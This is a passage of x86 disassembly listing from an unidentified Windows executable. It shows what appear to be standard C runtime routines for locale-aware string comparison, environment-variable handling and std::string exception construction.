var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C50
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_46BDF0, ebx
		push	1
		pop	edi
		jnz	short loc_42018C
		push	edi
		mov	eax, offset dword_4218A0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_420169
		mov	dword_46BDF0, edi
		jmp	short loc_42018C
; ---------------------------------------------------------------------------


loc_420169:				; CODE XREF: sub_420119+46j
		push	edi
		mov	eax, offset dword_43B668
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_420382
		mov	dword_46BDF0, 2


loc_42018C:				; CODE XREF: sub_420119+31j
					; sub_420119+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_4201A3
		push	esi
		push	[ebp+arg_8]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_4201A3:				; CODE XREF: sub_420119+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4201B8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4201B8:				; CODE XREF: sub_420119+8Dj
		mov	eax, dword_46BDF0
		cmp	eax, 2
		jnz	short loc_4201DD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42100C	; CompareStringA
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_4201DD:				; CODE XREF: sub_420119+A7j
		cmp	eax, edi
		jnz	loc_420382
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4201F2
		mov	eax, dword_46BBAC
		mov	[ebp+arg_18], eax


loc_4201F2:				; CODE XREF: sub_420119+CFj
		cmp	esi, ebx
		jz	short loc_4201FF
		cmp	[ebp+arg_14], ebx
		jnz	loc_420297


loc_4201FF:				; CODE XREF: sub_420119+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_42020C


loc_420204:				; CODE XREF: sub_420119+13Cj
					; sub_420119+16Dj
		push	2


loc_420206:				; CODE XREF: sub_420119+146j
		pop	eax
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_42020C:				; CODE XREF: sub_420119+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_420218


loc_420211:				; CODE XREF: sub_420119+151j
					; sub_420119+159j ...
		mov	eax, edi
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_420218:				; CODE XREF: sub_420119+F6j
		cmp	esi, edi
		jg	short loc_42025D
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_421198	; GetCPInfo
		test	eax, eax
		jz	loc_420382
		cmp	esi, ebx
		jle	short loc_420261
		cmp	[ebp+var_3C], 2
		jb	short loc_42025D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42025D


loc_420243:				; CODE XREF: sub_420119+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42025D
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_420257
		cmp	cl, dl
		jbe	short loc_420204


loc_420257:				; CODE XREF: sub_420119+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420243


loc_42025D:				; CODE XREF: sub_420119+101j
					; sub_420119+120j ...
		push	3
		jmp	short loc_420206
; ---------------------------------------------------------------------------


loc_420261:				; CODE XREF: sub_420119+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_420297
		cmp	[ebp+var_3C], 2
		jb	short loc_420211
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_420211


loc_420274:				; CODE XREF: sub_420119+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_420211
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42028C
		cmp	cl, dl
		jbe	loc_420204


loc_42028C:				; CODE XREF: sub_420119+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420274
		jmp	loc_420211
; ---------------------------------------------------------------------------


loc_420297:				; CODE XREF: sub_420119+E0j
					; sub_420119+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_420382
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4202E6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4202E6:				; CODE XREF: sub_420119+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_420382
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420382
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_420382
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420351
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_420351:				; CODE XREF: sub_420119+224j
		cmp	edi, ebx
		jz	short loc_420382
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420382
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421008	; CompareStringW
		jmp	short loc_420384
; ---------------------------------------------------------------------------


loc_420382:				; CODE XREF: sub_420119+63j
					; sub_420119+C6j ...
		xor	eax, eax


loc_420384:				; CODE XREF: sub_420119+BFj
					; sub_420119+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420119	endp


; =============== S U B	R O U T	I N E =======================================



sub_420396	proc near		; CODE XREF: sub_41C639+81p
					; sub_420119+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4203B3


loc_4203A6:				; CODE XREF: sub_420396+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4203B3
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4203A6


loc_4203B3:				; CODE XREF: sub_420396+Ej
					; sub_420396+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4203BE
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4203BE:				; CODE XREF: sub_420396+21j
		mov	eax, edx
		retn
sub_420396	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203C1	proc near		; CODE XREF: sub_4200AB+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_420425
		push	3Dh
		push	[ebp+arg_0]
		call	sub_420607
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_420425
		cmp	[ebp+arg_0], esi
		jz	short loc_420425
		mov	eax, dword_46BB2C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_46BB30
		jnz	short loc_42040B
		push	eax
		call	sub_4205A0
		pop	ecx
		mov	dword_46BB2C, eax


loc_42040B:				; CODE XREF: sub_4203C1+3Cj
		cmp	eax, edi
		jnz	short loc_420463
		cmp	[ebp+arg_4], edi
		jz	short loc_42042D
		cmp	dword_46BB34, edi
		jz	short loc_42042D
		call	sub_4200AB
		test	eax, eax
		jz	short loc_420463


loc_420425:				; CODE XREF: sub_4203C1+Dj
					; sub_4203C1+22j ...
		or	eax, 0FFFFFFFFh


loc_420428:				; CODE XREF: sub_4203C1+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42042D:				; CODE XREF: sub_4203C1+51j
					; sub_4203C1+59j
		cmp	ebx, edi
		jnz	loc_420541
		push	4
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	dword_46BB2C, eax
		jz	short loc_420425
		mov	[eax], edi
		cmp	dword_46BB34, edi
		jnz	short loc_420463
		push	4
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	dword_46BB34, eax
		jz	short loc_420425
		mov	[eax], edi


loc_420463:				; CODE XREF: sub_4203C1+4Cj
					; sub_4203C1+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_46BB2C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420548
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4204C3
		cmp	dword ptr [edi], 0
		jz	short loc_4204C3
		test	ebx, ebx
		jz	short loc_4204BB
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415C9B
		pop	ecx


loc_420495:				; CODE XREF: sub_4203C1+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4204A5
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_420495
; ---------------------------------------------------------------------------


loc_4204A5:				; CODE XREF: sub_4203C1+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41737F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4204F5
		jmp	short loc_4204F0
; ---------------------------------------------------------------------------


loc_4204BB:				; CODE XREF: sub_4203C1+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4204F5
; ---------------------------------------------------------------------------


loc_4204C3:				; CODE XREF: sub_4203C1+BDj
					; sub_4203C1+C2j
		test	ebx, ebx
		jnz	short loc_420541
		test	esi, esi
		jge	short loc_4204CD
		neg	esi


loc_4204CD:				; CODE XREF: sub_4203C1+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41737F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420425
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4204F0:				; CODE XREF: sub_4203C1+F8j
		mov	dword_46BB2C, eax


loc_4204F5:				; CODE XREF: sub_4203C1+F6j
					; sub_4203C1+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_420541
		push	[ebp+arg_0]
		call	sub_415B10
		inc	eax
		inc	eax
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_420541
		push	[ebp+arg_0]
		push	esi
		call	sub_415A20
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_421004	; SetEnvironmentVariableA
		push	esi
		call	sub_415C9B
		pop	ecx


loc_420541:				; CODE XREF: sub_4203C1+6Ej
					; sub_4203C1+104j ...
		xor	eax, eax
		jmp	loc_420428
sub_4203C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420548	proc near		; CODE XREF: sub_4203C1+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_46BB2C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_420583
		mov	edi, [esp+8+arg_4]


loc_42055A:				; CODE XREF: sub_420548+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42006C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420579
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_420593
		test	al, al
		jz	short loc_420593


loc_420579:				; CODE XREF: sub_420548+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42055A


loc_420583:				; CODE XREF: sub_420548+Cj
		mov	eax, esi
		sub	eax, dword_46BB2C
		sar	eax, 2
		neg	eax


loc_420590:				; CODE XREF: sub_420548+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420593:				; CODE XREF: sub_420548+2Bj
					; sub_420548+2Fj
		mov	eax, esi
		sub	eax, dword_46BB2C
		sar	eax, 2
		jmp	short loc_420590
sub_420548	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205A0	proc near		; CODE XREF: sub_4203C1+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4205AF
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4205AF:				; CODE XREF: sub_4205A0+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4205C1


loc_4205B7:				; CODE XREF: sub_4205A0+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4205B7


loc_4205C1:				; CODE XREF: sub_4205A0+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4205E2
		push	9
		call	sub_417C0E
		pop	ecx


loc_4205E2:				; CODE XREF: sub_4205A0+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4205E6:				; CODE XREF: sub_4205A0+5Bj
		test	eax, eax
		jz	short loc_4205FD
		push	eax
		add	ebx, 4
		call	sub_42067A
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4205E6
; ---------------------------------------------------------------------------


loc_4205FD:				; CODE XREF: sub_4205A0+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4205A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420607	proc near		; CODE XREF: sub_4203C1+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_46CF3C, 0
		jnz	short loc_420622
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416F20
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420622:				; CODE XREF: sub_420607+Aj
		mov	ecx, [ebp+arg_0]


loc_420625:				; CODE XREF: sub_420607+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_420668
		movzx	edx, al
		test	byte_46D041[edx], 4
		jz	short loc_420654
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42065F
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_420663
		jmp	short loc_42065C
; ---------------------------------------------------------------------------


loc_420654:				; CODE XREF: sub_420607+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_420668


loc_42065C:				; CODE XREF: sub_420607+4Bj
		inc	ecx
		jmp	short loc_420625
; ---------------------------------------------------------------------------


loc_42065F:				; CODE XREF: sub_420607+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420663:				; CODE XREF: sub_420607+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420668:				; CODE XREF: sub_420607+25j
					; sub_420607+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_420607	endp


; =============== S U B	R O U T	I N E =======================================



sub_42067A	proc near		; CODE XREF: sub_4098D4+21p
					; sub_4205A0+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4206A1
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_415BE9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4206A1
		push	esi
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4206A1:				; CODE XREF: sub_42067A+7j
					; sub_42067A+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42067A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4206B0	proc near		; CODE XREF: sub_404ADF+12p
					; sub_404B39+12p ...
		mov	eax, offset loc_420BA0
		call	sub_4162F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404CE4
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D1C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42070A
		lea	eax, [ebp-3Ch]
		push	offset dword_421FA8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420B09
		pop	esi
sub_4206B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42070A	proc near		; CODE XREF: sub_4206B0+3Fp
					; sub_4208DC+3Fp
		mov	eax, offset loc_420BB4
		call	sub_4162F0
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_43B658
		call	sub_420A2E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404CE4
		push	dword_421C98
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404B91
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C8C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_42070A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42076E	proc near		; DATA XREF: .text:00421C70o
					; .text:00421C90o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42077A
		mov	eax, offset dword_421258

locret_42077A:				; CODE XREF: sub_42076E+5j
		retn
sub_42076E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42077B	proc near		; DATA XREF: .text:00421C94o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4207F1
		lea	eax, [ebp+var_1C]
		push	offset dword_422018
		push	eax
		call	sub_420B09
sub_42077B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420798	proc near		; CODE XREF: .text:004207D8p
					; DATA XREF: .text:0042201Co
		mov	eax, offset loc_420BC8
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420798	endp

; ---------------------------------------------------------------------------


loc_4207D5:				; DATA XREF: .text:off_421C8Co
		push	esi
		mov	esi, ecx
		call	sub_420798
		test	byte ptr [esp+8], 1
		jz	short loc_4207EB
		push	esi
		call	sub_41630F
		pop	ecx


loc_4207EB:				; CODE XREF: .text:004207E2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4207F1	proc near		; CODE XREF: sub_42077B+Ap
					; sub_4208C4+7p ...
		mov	eax, offset loc_420BDC
		call	sub_4162F0
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_420A6B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404CE4
		push	dword_421C98
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404B91
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C8C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4207F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42084E	proc near		; CODE XREF: sub_42088B+20p
					; DATA XREF: .text:00421FACo
		mov	eax, offset loc_420BF0
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42084E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42088B	proc near		; DATA XREF: .text:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4208C4
		lea	eax, [ebp+var_1C]
		push	offset dword_421FA8
		push	eax
		call	sub_420B09


loc_4208A8:				; DATA XREF: .text:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_42084E
		test	[esp+20h+var_18], 1
		jz	short loc_4208BE
		push	esi
		call	sub_41630F
		pop	ecx


loc_4208BE:				; CODE XREF: sub_42088B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42088B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4208C4	proc near		; CODE XREF: sub_42088B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4207F1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4208C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208DC	proc near		; CODE XREF: sub_404B91+13p
					; sub_404D51+Ep
		mov	eax, offset loc_420C04
		call	sub_4162F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404CE4
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D1C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42070A
		lea	eax, [ebp-3Ch]
		push	offset dword_4220D0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421CA0
		call	sub_420B09
		pop	esi
sub_4208DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420936	proc near		; CODE XREF: sub_420973+20p
					; DATA XREF: .text:004220D4o
		mov	eax, offset loc_420C18
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420973	proc near		; DATA XREF: .text:00421CA8o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4209AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220D0
		push	eax
		call	sub_420B09


loc_420990:				; DATA XREF: .text:off_421CA0o
		push	esi
		mov	esi, ecx
		call	sub_420936
		test	[esp+20h+var_18], 1
		jz	short loc_4209A6
		push	esi
		call	sub_41630F
		pop	ecx


loc_4209A6:				; CODE XREF: sub_420973+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420973	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4209AC	proc near		; CODE XREF: sub_420973+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4207F1
		mov	dword ptr [esi], offset	off_421CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_4209AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209C4	proc near		; DATA XREF: .text:0042300Co

; FUNCTION CHUNK AT 004209FA SIZE 0000000C BYTES

		test	byte_46BDF4, 1
		jnz	short loc_4209D4
		or	byte_46BDF4, 1


loc_4209D4:				; CODE XREF: sub_4209C4+7j
		call	sub_4209EE
		test	byte_46D180, 1
		jnz	short loc_4209E9
		or	byte_46D180, 1


loc_4209E9:				; CODE XREF: sub_4209C4+1Cj
		jmp	loc_4209FA
sub_4209C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209EE	proc near		; CODE XREF: sub_4209C4:loc_4209D4p
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
sub_4209EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4209C4


loc_4209FA:				; CODE XREF: sub_4209C4:loc_4209E9j
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4209C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420A06	proc near		; CODE XREF: sub_40443B+5Ep
					; sub_405398+157p
		jmp	dword_4211D8
sub_420A06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420A0C	proc near		; CODE XREF: sub_415F5C+23p
					; sub_416200+13p
		jmp	dword_421154
sub_420A0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A12	proc near		; DATA XREF: .text:off_421CC8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420AB5
		test	[esp+4+arg_0], 1
		jz	short loc_420A28
		push	esi
		call	sub_41630F
		pop	ecx


loc_420A28:				; CODE XREF: sub_420A12+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420A12	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A2E	proc near		; CODE XREF: sub_42070A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421CC8
		push	dword ptr [edi]
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_416655
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420A5D
		push	dword ptr [edi]
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx


loc_420A5D:				; CODE XREF: sub_420A2E+23j
